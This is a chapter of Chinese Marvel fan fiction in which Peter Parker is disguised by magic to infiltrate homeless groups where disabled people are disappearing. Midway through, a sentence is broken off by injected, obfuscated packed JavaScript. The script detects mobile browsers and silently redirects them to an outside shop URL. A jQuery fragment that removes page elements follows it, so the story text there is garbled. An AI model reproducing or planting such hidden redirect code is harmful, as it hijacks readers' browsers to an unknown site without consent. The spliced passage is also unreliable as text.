昨天晚上发生的事情太过惊喜和混乱,以至于彼得完全忘记了要把这件事跟内德说一声了。
在把彼得盯得都快冒冷汗了之后,内德才收回目光,掏出自己的手机,手指在屏幕上飞快地点了几下。
“我也要下。”他的语速比平时快了一倍,“叫什么?助人为乐系统?哪个图标?”
彼得说了APP的名字和图标的样子,内德低头在应用商店里搜索,很快就找到了目标。
下载安装的速度很快。打开APP之后,他直接点进任务板块,果然看到了那个唯一的任务显示在列表最上方。
“调查近期部分街区流浪汉异常减少的原因。”他小声念出任务的名字,随即看向彼得,“我也要去加入。”
彼得当然不会拒绝他。
上课铃响了。三人分别走进各自的教室。
放学后,三人在校门口默契地汇合了。他们穿过几条街道,走进莱拉那间公寓所在的大楼,电梯上到五楼,门打开,莱拉领他们走进了客厅。
莱拉把书包放在沙发旁边,自己也在沙发上坐下来。
“这个APP本来没打算这么快上线的。”她说,“我最初的想法是等整个系统框架更完善之后再慢慢推,但贾维斯发现了那些数据异常,托尼又刚好做了彼得的战衣,我觉得可以趁这个机会试试看这个APP能不能真的跑起来。”
“所以这个调查流浪汉失踪的任务,是一个测试?”内德坐在沙发的另一边,刚说完这句话,他才反应过来,猛地看向彼得,“等等!战衣?!托尼·斯塔克给你做了一件战衣?!”
“我知道!这太棒了对吗!”彼得脸上顿时又露出了那种完全无法压制的笑容,“我从来都没想过,居然有一天能够拥有一件托尼·斯塔克特地为我制造的战衣!”
“好了,男孩们,关于战衣的事情你们可以等下再庆祝,现在先把你们的注意力放到正事上来。”莱拉拍了拍手,示意两人专心一点,等到两人的目光都转移过来后,她才继续说道,“不完全是测试这件事本身也是真的需要人去查。APP的功能是让我们能更方便地组织信息和分配任务,但内容本身——那些需要被做的事情——它们不是因为APP才存在的。”
彼得坐在靠窗的位置,打开那个APP,任务板块里显示的任务描述依然只有那一行简短的文字:调查近期部分街区流浪汉异常减少的原因。没有更多说明,没有路线图。
“不过有一点我得调整一下。”莱拉说,“这个任务是特殊性质的,不太适合让所有人都能看到。贾维斯可以设置一个筛选机制,只有特定账号才能看到这类调查任务。其他人只会看到那些普通的日常任务。”
“就是权限分级?”内德问。
“差不多。普通用户看到普通任务;通过认证的特殊用户看到需要特殊能力才能处理的任务。”莱拉说,“彼得会需要这个功能,以后应该还会有其他人也需要。”
彼得和内德都点了点头。
莱拉从沙发上站起来,走到厨房那边。从冰箱里拿出三瓶水,走回来放在茶几上。
“普通人对于流浪汉通常是视而不见的态度。”她坐下来,拧开瓶盖喝了一口水,“如果想要得到具体真实的信息的话,我觉得混进流浪汉的群体里去做调查会是更好的办法。”
内德闻言提出了疑问:“我们三个人都不太像是能混进流浪汉群体里的样子吧。”
莱拉笑了笑:“现在看起来是不太像,不过,只要做一点小小的伪装。”
她说着,伸手打了个响指。
下一秒,金色的光芒从她的指间迸发出来,像是有人往空气中撒了一把细碎的金粉,那层光在彼得身上掠过,从头到脚铺展开来,然后融入了他的皮肤和衣物里,隐没不见,像是从未出现过。
彼得低头看向自己,从双手开始,变化在他身上一层一层地展开——衣服变得灰扑扑的,袖口磨出了毛边,衣摆处有一道裂口,露出下面灰白色的里衬。
裤子膝盖处磨得发白,脚上那双原本干净的运动鞋变成了一双鞋底磨损严重、边缘开裂的旧布鞋。他的脸上也出现了一些变化——颧骨上多了一块青紫色的淤痕,嘴唇边缘有一道细细的、已经结痂的伤口,脖子侧面有一片浅红色的擦伤,像是被粗糙的东西刮过一样,左手手背上还多了一道甚至还在渗血的新鲜伤口。
彼得抬起手,下意识地用指尖碰了一下那条还在流血的伤口,手指按下去的时候没有感觉到任何痛感。他用力按了按,什么感觉都没有。他愣了一瞬,又揉了揉,手感没有变化,那道伤口就像是一块贴在他皮肤上但没有任何实质触感的虚影。
“没有感觉,”他说,“像是贴了一层画在皮肤上的画。”
“这是幻象。”莱拉说,“不是真的改变了你的身体,只是在别人看到的画面里你变成了这个样子。”
“这是全息投影技术吗?”内德凑近了一些,歪着头打量着彼得脸上的“淤青”,目光在那些伤痕和破损的衣服上来回移动,“像那种——那种电影里用的?”
“不。”莱拉说,“这是魔法。”
内德的视线猛地从彼得身上移开,转向莱拉,他的目光在她脸上停了一下:“哈利·波特里的那种魔法?”
莱拉张了张嘴,本来想解释一下卡玛泰姬的魔法体系和《哈利·波特》之间的本质区别——维度能量和咒语借用的原理完全不同,但想了想自己如果想要解释清楚这两者的区别的工作量,决定放弃解释。
“差不多吧。”她说。
“差不多”这个词在内德看来已经足够震撼了。他张了张嘴,似乎想追问更具体的细节,但看了一眼旁边彼得脸上那层幻象,又看了一眼莱拉,把那些问题咽了回去。他点了点头,像是在确认自己接受了一个超出他日常认知范围的事实。
莱拉转向彼得,上下打量了他一眼:“有了这层幻象,你看起来就像一个不堪忍受家暴所以离家出走的孩子,混进流浪汉群体里不会太显眼。”她顿了一下,“而且为了以防万一,你可以在幻象下面把战衣穿好。如果遇到情况,你随时可以摆脱伪装。”
彼得的眼睛亮了起来,那种光比刚才更亮了。他深吸了一口气,然后呼出来:“那我是要去哪儿?有具体目标吗?”
“有。”莱拉从口袋里掏出手机,屏幕亮着,上面显示着一张由贾维斯整理的地图截图。几个红点标注在不同的街区位置,旁边有
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17673461|206125||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
一些简短的文字说明,“贾维斯对比了最近三个月里各个街区流浪汉数量的变化趋势,发现有几条街道的数据下降趋势最明显。那些街区里失踪的流浪汉有一个共同特征——身体有残疾。缺一条腿,少一只手,或者其他的器官方面的损失。”
莱拉把手机翻过来,转向彼得,指着屏幕上一个被圆圈特别标注出来的位置:“这条街上有一个由三个身体有缺陷的流浪汉组成的小团体,平时固定在一个废弃的烂尾楼过夜。他们还在那里,算是目前贾维斯监控到的、为数不多的还没出现消失情况的这类群体。你今晚可以去那里碰碰运气,看看能不能和他们混熟,问到点什么具体信息。”
彼得的目光在地图上那个被圆圈标注的位置停留了一会儿,像是要把那栋烂尾楼的坐标刻进脑子里。他的手指在膝盖上轻轻敲了两下,然后抬起头,深吸了一口气。“那我今晚就去。”
他站起来,走到公寓门口——然后停住了。
他低头看了看自己身上那层破旧的幻象,那些磨损的衣角、裂开的鞋边、脸上的淤痕和伤疤。他的表情从“准备出发”的专注变成了“等等”的犹豫,然后他转过身,看着莱拉。“我现在穿着这身——我没法回家。”他指了指自己的脸,“梅姨看到我这个样子会直接报警的。”
“你打算现在就过去?”莱拉问。
“我是说,这种事情不是应该越快越好吗——”彼得的语速比刚才慢了一些。
“是这样没错。”莱拉从沙发上站起来,走到他面前,“但深夜过去会更有说服力。一个离家出走的十五岁孩子,深夜出现在街头,比傍晚出现在街头更合理。”她看着他,“你先回家吃晚饭,假装今晚什么事都不会发生,然后回房间待着,等到时候了,我会通过手机给你发消息。你再出来。”
彼得想了想,点了下头:“好。”
莱拉伸出右手,打了个响指。那层覆盖在彼得身上的破旧幻象像水一样退去,从衣角开始,从鞋边开始,从颧骨上的淤痕开始——那些磨损的痕迹、那些伤疤、那些灰尘,在几秒内全部消失了。他恢复了平时的样子,穿着校服,背着书包,看起来和任何一个刚放学回家的高中生没有区别。
彼得低头看了看自己恢复原状的双手,活动了一下手指,确认自己完全回到正常状态了。然后他转过身,拉开公寓门,回头看了一眼莱拉和内德:“那我先回去了。”
“嗯。”莱拉说,“等消息。”
彼得走出门,门在他身后轻轻合上。
内德站在客厅里,看了一眼那扇合上的门,又看了一眼莱拉:“那我呢?我也回去?”
莱拉转过身走回沙发边,拿起茶几上那台笔记本电脑,放在膝盖上打开。“你晚上能出来吗?”
“能,我跟奶奶说去彼得家就行。”内德已经拿起手机开始打字了,“她不会多问的。”
“那等会儿吃完饭你再过来。”莱拉把笔记本电脑放在茶几上,屏幕亮着,显示着贾维斯正在整理的数据界面,“贾维斯会把监控数据同步在这台电脑上。你盯着屏幕,如果发现任何异常——街道上有陌生的车辆长时间停留,或者那栋烂尾楼附近出现不该出现的人——你立刻通知我和彼得。”